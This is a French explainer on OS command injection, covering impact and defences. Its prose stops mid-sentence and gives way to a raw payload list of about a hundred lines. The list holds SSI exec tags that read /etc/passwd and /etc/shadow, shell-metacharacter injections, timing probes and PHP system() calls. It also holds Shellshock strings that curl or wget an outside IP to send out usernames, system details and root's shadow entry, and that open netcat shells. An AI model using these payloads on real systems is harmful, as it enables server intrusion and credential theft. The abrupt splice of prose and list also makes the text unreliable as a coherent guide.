L'injection de commande est une attaque dans laquelle l'objectif est l'exécution de commandes arbitraires sur le système d'exploitation hôte via une application vulnérable. Des attaques d'injection de commande sont possibles lorsqu'une application passe des données fournies à l'utilisateur dangereuses (formulaires, cookies, en-têtes HTTP, etc.) à un shell système. Dans cette attaque, les commandes du système d'exploitation fournies par l'attaquant sont généralement exécutées avec les privilèges de l'application vulnérable. Les attaques d'injection de commande sont possibles en grande partie en raison de la validation insuffisante des entrées.
Cette attaque diffère de l'injection de code, en cette injection de code permet à l'attaquant d'ajouter son propre code qui est ensuite exécuté par l'application. Dans l'injection de commande, l'attaquant étend la fonctionnalité par défaut de l'application, qui exécute les commandes système, sans la nécessité d'injecter du code.
L'injection de commande du système d'exploitation est une vulnérabilité critique qui permet aux attaquants de prendre un contrôle complet sur un site Web affecté et le serveur Web sous-jacent.
Les vulnérabilités d'injection de commande OS surviennent lorsqu'une application intègre des données utilisateur dans une commande du système d'exploitation qu'elle exécute. Un attaquant peut manipuler les données pour faire fonctionner ses propres commandes. Cela permet à l'attaquant d'effectuer toute action que l'application elle-même peut effectuer, y compris la lecture ou la modification de toutes ses données et la réalisation d'actions privilégiées.
En plus du compromis total du serveur Web lui-même, un attaquant peut tirer parti d'une vulnérabilité d'injection de commande pour pivoter l'attaque dans l'infrastructure interne de l'organisation, accédant potentiellement à n'importe quel système auquel le serveur Web peut accéder. Ils peuvent également être en mesure de créer un pied persistant au sein de l'organisation, en continuant à accéder aux systèmes compromis même après la résolution de la vulnérabilité d'origine.
Les vulnérabilités d'injection de commande du système d'exploitation surviennent lorsqu'une application intègre des données contrôlables par l'utilisateur dans une commande traitée par un interprète de commande shell. Si les données de l'utilisateur ne sont pas strictement validées, un attaquant peut utiliser des métacharacteurs shell pour modifier la commande qui est exécutée et injecter des commandes arbitraires supplémentaires qui seront exécutées par le serveur.
Les vulnérabilités d'injection de commande du système d'exploitation sont généralement très graves et peuvent entraîner un compromis du serveur hébergeant l'application ou des propres données et fonctionnalités de l'application. Il peut également être possible d'utiliser le serveur comme plate-forme pour les attaques contre d'autres systèmes. Le potentiel exact d'exploitation dépend du contexte de sécurité dans lequel la commande est exécutée et des privilèges de ce contexte concernant les ressources sensibles sur le serveur.
Si possible, les applications doivent éviter d'incorporer des données contrôlables par l'utilisateur dans les commandes du système d'exploitation. Dans presque toutes les situations, il existe des méthodes alternatives plus sûres pour effectuer des tâches au niveau du serveur, qui ne peuvent pas être manipulées pour effectuer des commandes supplémentaires que celle prévue.
S'il est considéré comme inévitable d'incorporer des données fournies par l'utilisateur dans les commandes du système d'exploitation, les deux couches de défense suivantes doivent être utilisées pour empêcher les attaques:
Les données de l'utilisateur doivent être strictement validées. Idéalement, une liste blanche de valeurs acceptées spécifiques doit être utilisée. Sinon, seules les cordes alphanumériques courtes doivent être acceptées. Entrée contenant toutes les autres données, y compris tout métacharacter de coquille ou l'espace, doit être rejetée.
L'application doit utiliser des API de commande qui lancent un processus spécifique via ses paramètres de nom et de ligne de commande, plutôt que de passer une chaîne de commande à un interprète de shell qui prend en charge le chaînage et la redirection des commandes. Par exemple, l'API Java Runtime.exec et l'ASP.NET API Process.start ne prennent pas en charge les métacharacteurs de shell. Cette défense peut atténuer
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>